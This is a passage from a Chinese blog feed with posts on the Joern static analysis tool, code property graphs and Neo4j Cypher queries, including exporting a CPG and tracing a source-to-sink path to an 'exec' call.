r</span><br></pre></td></tr></table></figure><h2 id="match查询节点和关系"><a href="#match查询节点和关系" class="headerlink" title="match查询节点和关系"></a>match查询节点和关系</h2><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">match </span><br><span class="line">(node)-[relationship]-&gt;(node)</span><br><span class="line">where</span><br><span class="line">(node | relationship)</span><br><span class="line"><span class="keyword">return</span> </span><br><span class="line">(node | relationship)</span><br><span class="line">match (n：Persion)-[:HAS_PHONE]-&gt;(p:Phone) where n.name="姓名6" return n, p  limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>n，代表Persion的别名</strong></li><li><strong>:HAS_PHONE，代表前面Persion的关系</strong></li><li><strong>()，括号里的都是实体</strong></li><li><strong>[]，中括号里的都是关系</strong></li><li><strong>-，代表无方向的关系</strong></li><li><strong>-&gt;，代表有方向的关系</strong></li></ul><ul><li><strong>查询所有实体节点</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) <span class="keyword">return</span> n</span><br></pre></td></tr></table></figure><ul><li><strong>根据id查找实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> <span class="keyword">return</span> t</span><br><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> delete t</span><br></pre></td></tr></table></figure><ul><li><strong>多度关系查询</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n：Persion)-[:HAS_PHONE]-&gt;(p:Phone)-[:CALL]-&gt;(p1: Persion) where n.name=“姓名6” return n, p,p1  limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>利用关系查询， 不限定实体只限定关系的查询</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match p=()-[c: CALL]-&gt;() return p limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>根据实体属性匹配正则查询</strong>， 使用通配符，<strong>通配符前要加~</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:USERS) where n.name=~<span class="string">'Jack.*'</span> <span class="keyword">return</span> n limit <span class="number">10</span></span><br></pre></td></tr></table></figure><ul><li><strong>包含查询 使用关键词contains</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:USERS) where n.name= contains <span class="string">'J'</span>  <span class="keyword">return</span> n limit <span class="number">10</span></span><br></pre></td></tr></table></figure><ul><li><strong>附带属性多实体查询</strong>， 逗号隔开</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:<span class="string">"王五"</span>&#125;), (m:Person&#123;name:<span class="string">"赵六"</span>&#125;) <span class="keyword">return</span> n,m</span><br></pre></td></tr></table></figure><ul><li><strong>查询多种label节点，并进行过滤</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) where n:标签<span class="number">1</span> <span class="keyword">or</span> n:标签B  <span class="keyword">return</span> distinct n;</span><br></pre></td></tr></table></figure><ul><li><strong>distinct * 关键字表示返回节点不重复</strong></li><li>返回非某几类标签，注意使用 not and 关键字</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) where <span class="keyword">not</span> n:标签<span class="number">1</span> <span class="keyword">and</span> <span class="keyword">not</span> n:标签B  <span class="keyword">return</span> distinct n;</span><br></pre></td></tr></table></figure><h2 id="set-修改实体标签或属性"><a href="#set-修改实体标签或属性" class="headerlink" title="set 修改实体标签或属性"></a>set 修改实体标签或属性</h2><ul><li><strong>实体增加标签</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> set t:A  <span class="keyword">return</span> t</span><br></pre></td></tr></table></figure><p>本质上是给实体增加一个标签，一个实体可以有多个标签</p><ul><li><strong>给实体增加属性</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (a:A) where id(t)=<span class="number">1837</span> set a.年龄=<span class="number">10</span>  <span class="keyword">return</span> a</span><br></pre></td></tr></table></figure><ul><li><strong>给关系增加属性</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person)-[l:LOVE]-&gt;(:Person) set l.date="1990" return n, l</span><br></pre></td></tr></table></figure><ul><li><strong>给所有节点增加标签</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) set n:table <span class="keyword">return</span> n</span><br></pre></td></tr></table></figure><h2 id="搜索路径"><a href="#搜索路径" class="headerlink" title="搜索路径"></a>搜索路径</h2><ul><li><strong>单条最短路径</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (p1:Person&#123;name:<span class="string">"姓名2"</span>&#125;),(p2:Person&#123;name:<span class="string">"姓名10"</span>&#125;), p=shortestpath((p1)-[*.<span class="number">.10</span>]-(p2)) <span class="keyword">return</span> p</span><br></pre></td></tr></table></figure><p>shortestpath()用于查询最短路径 [<em>..10] 表示关系中*</em>不超过10度关系**</p><ul><li><strong>多条最短路径</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (p1:Person&#123;name:<span class="string">"姓名2"</span>&#125;),(p2:Person&#123;name:<span class="string">"姓名10"</span>&#125;), p=allshortestpaths((p1)-[*.<span class="number">.10</span>]-(p2)) <span class="keyword">return</span> p</span><br></pre></td></tr></table></figure><h2 id="关系查询"><a href="#关系查询" class="headerlink" title="关系查询"></a>关系查询</h2><ul><li><strong>merge 有关系则返回，没有则创建关系</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:&quot;王五&quot;&#125;), (m:Person&#123;name:&quot;赵六&quot;&#125;) merge (n)-[l:LOVE]-&gt;(m) return l</span><br><span class="line"></span><br><span class="line">match (n),(m) where n&#x3D;m merge (n)-[t:TABLE&#123;table_name:n.table&#125;]-(m) return t</span><br></pre></td></tr></table></figure><ul><li><strong>optional match 可选择匹配，若匹配结果包含空，则用NULL占位</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OPTIONAL MATCH (n)-[r]-&gt;(m) RETURN m</span><br></pre></td></tr></table></figure><p>匹配结果集中如果有丢的部分，则会用null来补充</p><h2 id="XXX-with-字符串开头结尾匹配"><a href="#XXX-with-字符串开头结尾匹配" class="headerlink" title="XXX with 字符串开头结尾匹配"></a>XXX with 字符串开头结尾匹配</h2><ul><li><strong>start with 匹配字符串的开头</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n)</span><br><span class="line">WHERE n.name STARTS WITH &#39;张&#39;</span><br><span class="line">RETURN n</span><br></pre></td></tr></table></figure><ul><li><strong>end with 匹配字符串的结尾</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n)</span><br><span class="line">WHERE n.name ENDS WITH &#39;三&#39;</span><br><span class="line">RETURN n</span><br></pre></td></tr></table></figure><h2 id="边对应的节点"><a href="#边对应的节点" class="headerlink" title="边对应的节点"></a>边对应的节点</h2><ul><li><strong>startNode(rel)</strong> 得到一条关系rel对应的起始节点</li><li><strong>endNode(rel)</strong> 得到一条关系rel对应的中止节点</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;前两篇文章主要讲了Joern相关技术的设计原理，以及CPG的实际表现&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/21/joern-and-cpg/&quot;&gt;https://lorexxar.cn/2023/08/21/joern-and-cpg/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/22/joern2/&quot;&gt;https://lorexxar.cn/2023/08/22/joern2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对&lt;strong&gt;OverflowDB包括scala和cypher语言&lt;/strong&gt;都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。&lt;/p&gt;
&lt;p&gt;所以在继续研究Joern之前，先花时间简单记录&lt;strong&gt;一些Joern和Neo4j实用的语法和范例&lt;/strong&gt;，给自己当个字典随时可以查阅。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="neo4j" scheme="https://lorexxar.cn/tags/neo4j/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（二）CPG与图数据库</title>
    <link href="https://lorexxar.cn/2023/08/22/joern2/"/>
    <id>https://lorexxar.cn/2023/08/22/joern2/</id>
    <published>2023-08-22T08:40:14.000Z</published>
    <updated>2023-08-23T06:02:04.000Z</updated>
    
    <content type="html"><![CDATA[<p>在上篇文章里，我们从Joern入手大致介绍了<strong>CPG(Code Property Graph)</strong>的设计理念和简单逻辑</p><ul><li><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/">https://lorexxar.cn/2023/08/21/joern-and-cpg/</a></li></ul><p>但实际上来说，如果想要更深入的了解Joern，<strong>CPG和图数据库</strong>是绕不开的一个话题。CPG作为一种<strong>代码属性图</strong>，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。</p><p>旧版本的Joern使用的<strong>Gremlin</strong>，但后来的开发中换成了<strong>OverflowDB</strong>，在joern中也完全支持使用<strong>OverflowDB的查询语法</strong>。</p><ul><li><a href="https://github.com/ShiftLeftSecurity/overflowdb" target="_blank" rel="noopener">https://github.com/ShiftLeftSecurity/overflowdb</a></li></ul><p>但属性图本身没有什么特异性，比较常见的比如<strong>Neo4J，OrientDB</strong>或者<strong>JanesGraph</strong>都支持CPG的表现形式。</p><p>但，在这之前，我们首先需要知道，<strong>为什么是图？</strong></p><a id="more"></a><h1 id="为什么是图？"><a href="#为什么是图？" class="headerlink" title="为什么是图？"></a>为什么是图？</h1><p>在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。</p><p>如果说CFG(<strong>control flow graphs</strong>)相比AST来说最大的特点是<strong>带有明确数据流向的流向</strong>，在数据流分析<strong>可能</strong>更有优势。</p><p>那么CPG相比CFG来说有一个很大的特点就是<strong>信息量大</strong>，而图最大的特点也在于，就是<strong>可以容纳信息量巨大的内容</strong>。</p><p>假设我们有这样一段代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a = new A()</span><br><span class="line">b = a.b</span><br><span class="line">c.a = b.a</span><br><span class="line">d.a = c</span><br><span class="line">c.b = d.c</span><br></pre></td></tr></table></figure><p>这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果<strong>用文字来表示abcd之间的关系我们可能需要拆分很多部分。</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a -&gt; A()</span><br><span class="line">b -&gt; A().b</span><br><span class="line">c.a -&gt; A().b.a</span><br><span class="line">c.b -&gt; ....</span><br></pre></td></tr></table></figure><p>我甚至很难用文字的方式表达出他们之间的关系，而<strong>图在这样的场景下就变得很有优势。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725366.png" alt="img"></p><p>当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，<strong>图关系可以很轻松的表达出文字很难表达出来的信息量。</strong></p><h1 id="Joern与图"><a href="#Joern与图" class="headerlink" title="Joern与图"></a>Joern与图</h1><p>Joern用了CPG来<strong>储存代码的所有节点关系和属性数据</strong>，由于CPG的信息量大，所以Joern甚至<strong>提供了官方的生成AST、CFG等其他结构的接口</strong>，对于C/C++甚至支持多种自定义的结构。</p><ul><li>Abstract Syntax Trees (AST)</li><li>Control Flow Graphs (CFG)</li><li>Control Dependence Graphs (CDG)</li><li>Data Dependence Graphs (DDG)</li><li>Program Dependence graphs (PDG)</li><li>Code Property Graphs (<a href="https://www.sec.cs.tu-bs.de/pubs/2014-ieeesp.pdf" target="_blank" rel="noopener">CPG14</a>)</li><li>Entire graph, i.e. convert to a different graph format (ALL)</li></ul><p>在Joern的命令行你可以直接<strong>使用相应的命令生成对应的格式</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cpg.method($name).dotAst.l // output AST <span class="keyword">in</span> dot format</span><br><span class="line">cpg.method($name).dotCfg.l // output CFG <span class="keyword">in</span> dot format</span><br><span class="line">...</span><br><span class="line">cpg.method($name).dotCpg14.l // output CPG<span class="string">'14 in dot format</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725427.png" alt="img"></p><p>有个很有意思的是，如果你的电脑装了<strong>Graphviz</strong>，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。</p><ul><li><a href="https://graphviz.org/download/" target="_blank" rel="noopener">https://graphviz.org/download/</a></li></ul><p>安装Graphviz之后我们可以通过命令来绘图</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cpg.method($name).plotDotAst // plot AST</span><br><span class="line">cpg.method($name).plotDotCfg // plot CFG</span><br><span class="line">...</span><br><span class="line">cpg.method($name).plotDotCpg14 // plot CPG<span class="string">'14</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725174.png" alt="img"></p><p>说实话，不太实用，但是很方便</p><h1 id="Neo4J"><a href="#Neo4J" class="headerlink" title="Neo4J"></a>Neo4J</h1><p>相比Graphviz这种仅仅用来临时展示图的应用来说，<strong>Neo4J则是标准而且非常成熟的图数据库</strong>，不但性能强，而且还实用。</p><ul><li><a href="https://github.com/neo4j/neo4j" target="_blank" rel="noopener">https://github.com/neo4j/neo4j</a></li><li><a href="https://neo4j.com/" target="_blank" rel="noopener">https://neo4j.com/</a></li></ul><p>你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。</p><p><strong>Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言</strong>，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。</p><ul><li><a href="https://neo4j.com/docs/cypher-manual/current/clauses/" target="_blank" rel="noopener">https://neo4j.com/docs/cypher-manual/current/clauses/</a></li></ul><p>简单来讲<strong>Cypher中对应SQL的语句关系有几个比较特别的</strong>，首先就是MATCH和where。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SQL</span></span><br><span class="line">select Person <span class="keyword">from</span> user where born = <span class="string">'beijing'</span></span><br><span class="line"><span class="comment"># Cypher</span></span><br><span class="line">MATCH (a:Person)-[:BORN]-&gt;(b:Location &#123;city:'beijing'&#125;) RETURN a,b</span><br></pre></td></tr></table></figure><p>MATCH和where在两种查询语句中是类似的功能，其中的区别就是<strong>MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系</strong>，比如-就是无方向关系，-&gt;就是有方向关系。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">match </span><br><span class="line">  (node)-[relationship]-&gt;(node)</span><br><span class="line">where</span><br><span class="line">  （node  |  relationship)</span><br><span class="line"><span class="keyword">return</span> </span><br><span class="line">    (node | relationship)</span><br></pre></td></tr></table></figure><p>其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。</p><p>而相对于普通的数据库来说，<strong>图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725125.png" alt="img"></p><p>直接<strong>用鼠标点击各个节点查看对应的属性以及它们之间的关系</strong>，并且可以直接拖动他们。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725248.png" alt="img"></p><p>点击节点下面的按钮，可以直接<strong>查看到节点连接到的其他节点</strong>，很方便也很直观。</p><h1 id="Joern与Neo4J"><a href="#Joern与Neo4J" class="headerlink" title="Joern与Neo4J"></a>Joern与Neo4J</h1><p>前面说了，<strong>Joern使用了自己做的OverflowDBl来作为图数据库存储CPG</strong>，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。</p><p>而Joern本身是自带了这个功能的，就是joern-export。<strong>它支持你导出Joern的CPG到neo4j  , graphml, graphson 和 graphviz dot。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">./joern-export --repr=all --format=neo4jcsv</span><br><span class="line">./joern-export --repr=all --format=graphml</span><br><span class="line">./joern-export --repr=all --format=graphson</span><br><span class="line">./joern-export --repr=all --format=dot</span><br></pre></td></tr></table></figure><p>要使用joern-export导出数据的话，<strong>需要指定CPG的位置</strong>，这个东西会存在<strong>Joern目录下的workspace</strong>当中，并且需要指定output，默认是./out。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725713.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726073.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725960.png" alt="img"></p><p>然后我们可以想办法<strong>把这些csv文件导入到Neo4j当中</strong>。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是<strong>neo4j导入复杂结构数据需要指定好各种csv文件的关联。</strong></p><p>但joern当然也给出了导入的办法，在生成文件的时候会<strong>给出一个导入命令的范例</strong>，照着范例就可以搞定了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725691.png" alt="img"></p><p>首先joern导入数据是有限制的，<strong>只能导入import目录下的文件</strong>，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725662.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725283.png" alt="img"></p><p>除了文件以外，还有就是这个/bin/cypher-shell的位置，<strong>这个脚本就在对应链接目录的bin下</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725399.png" alt="img"></p><p>然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是<strong>依次执行*_cypher.csv文件中的命令，然后导入header和data。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725408.png" alt="img"></p><p>最终导入的数据就是这样的</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726709.png" alt="img"></p><h1 id="用cypher在Neo4J上查询漏洞"><a href="#用cypher在Neo4J上查询漏洞" class="headerlink" title="用cypher在Neo4J上查询漏洞"></a>用cypher在Neo4J上查询漏洞</h1><p>当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。</p><p>这里还是拿上篇文章中用到的RCE代码来举例子。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726076.png" alt="img"></p><p>对应Joern的语句为</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><p>首先匹配注解节点满足.*Mapping的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n:ANNOTATION) where n.NAME=~<span class="string">".*Mapping"</span> RETURN n LIMIT <span class="number">25</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726708.png" alt="img"></p><p>然后找这些对应节点关联的方法</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (m:METHOD)-[:AST]-&gt;(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726919.png" alt="img"></p><p>然后找一下对应调用exec方法的节点</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n:CALL) where n.NAME=<span class="string">"exec"</span> RETURN n LIMIT <span class="number">25</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726948.png" alt="img"></p><p>然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (p1:METHOD)-[:AST]-&gt;(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726967.png" alt="img"></p><p>这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在上篇文章里，我们从Joern入手大致介绍了&lt;strong&gt;CPG(Code Property Graph)&lt;/strong&gt;的设计理念和简单逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/21/joern-and-cpg/&quot;&gt;https://lorexxar.cn/2023/08/21/joern-and-cpg/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但实际上来说，如果想要更深入的了解Joern，&lt;strong&gt;CPG和图数据库&lt;/strong&gt;是绕不开的一个话题。CPG作为一种&lt;strong&gt;代码属性图&lt;/strong&gt;，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。&lt;/p&gt;
&lt;p&gt;旧版本的Joern使用的&lt;strong&gt;Gremlin&lt;/strong&gt;，但后来的开发中换成了&lt;strong&gt;OverflowDB&lt;/strong&gt;，在joern中也完全支持使用&lt;strong&gt;OverflowDB的查询语法&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ShiftLeftSecurity/overflowdb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/ShiftLeftSecurity/overflowdb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但属性图本身没有什么特异性，比较常见的比如&lt;strong&gt;Neo4J，OrientDB&lt;/strong&gt;或者&lt;strong&gt;JanesGraph&lt;/strong&gt;都支持CPG的表现形式。&lt;/p&gt;
&lt;p&gt;但，在这之前，我们首先需要知道，&lt;strong&gt;为什么是图？&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="cpg" scheme="https://lorexxar.cn/tags/cpg/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（一）Joern与CPG是什么？</title>
    <link href="https://lorexxar.cn/2023/08/21/joern-and-cpg/"/>
    <id>https://lorexxar.cn/2023/08/21/joern-and-cpg/</id>
    <published>2023-08-21T06:25:23.000Z</published>
    <updated>2023-08-22T08:42:26.000Z</updated>
    
    <content type="html"><![CDATA[<p>从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于<strong>白盒代码扫描</strong>这件事情来说，大家的观念也在逐渐趋同。</p><p>无论是基于<strong>IR(Intermediate Representation)</strong>、<strong>AST(abstract syntax trees)</strong>、<strong>CFG(control flow graphs)</strong>、<strong>PFG(program dependence graphs)</strong>，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做<strong>模拟执行、污点传播</strong>等等方案来分析挖掘漏洞。</p><p>而随着<strong>CodeQL的概念</strong>逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将<strong>底层和上层拆解开来</strong>，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的<strong>CodeQL、Checkmarx</strong>其实都使用了类似的方案。今天要说的<strong>Joern</strong>也是如此。</p><p><strong>今天介绍的Joern有什么特殊的呢？</strong></p><p>首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。</p><p>除此之外，市面上的很多白盒扫描工具其实是<strong>非静态的</strong>，扫描的时候不但需要配置复杂的运行环境，而且<strong>本身可能依赖编译过程</strong>，无论是自己使用还是商业化这都非常不实用。</p><p>个人认为白盒工具有着几个很重要的点</p><ul><li><strong>静态扫描</strong>，<strong>静态扫描的优势和便利程度</strong>才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒</li><li><strong>扫描速度</strong>，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，<strong>扫描速度会是第一优先级</strong>，比如CheckMarx动辄几小时的扫描肯定是不现实的</li><li><strong>可diy性</strong>，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，<strong>joern是开源的</strong>，在这方面他有很大的优势</li><li><strong>可拓展性</strong>，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，<strong>我一直觉得现代白盒软件很重要的一条路就是走通用性</strong>，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。</li></ul><p>今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。</p><a id="more"></a><h1 id="joern"><a href="#joern" class="headerlink" title="joern"></a>joern</h1><p>joern是ShiftLeft 开发的<strong>一款基于CPG制作的白盒静态扫描工具</strong>，诞生的时间不算早应该就是2021年（具体记不清了）</p><ul><li><a href="https://github.com/joernio/joern" target="_blank" rel="noopener">https://github.com/joernio/joern</a></li></ul><p>和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由<strong>AST + CFG + PDG</strong>叠加而来，最终生成一张图，然后在图的基础上做分析和检测。<strong>和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息</strong>，另一方面，<strong>CPG也让后续的分析程序更具有通用性。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430788.png" alt="img"></p><p>这就是一张很经典的范例图，用来展示CPG和其他几种的区别。</p><p>另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。</p><p>至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。</p><h1 id="什么是CPG？"><a href="#什么是CPG？" class="headerlink" title="什么是CPG？"></a>什么是CPG？</h1><p>关于CPG可以看一篇<strong>官方写的基础的理论文章</strong>。</p><ul><li><a href="https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740" target="_blank" rel="noopener">https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740</a></li></ul><p>以下部分内容大量取材于上面这篇文章。</p><p>还有就是比较重要的<strong>joern的CPG标准文档</strong></p><ul><li><a href="https://cpg.joern.io/" 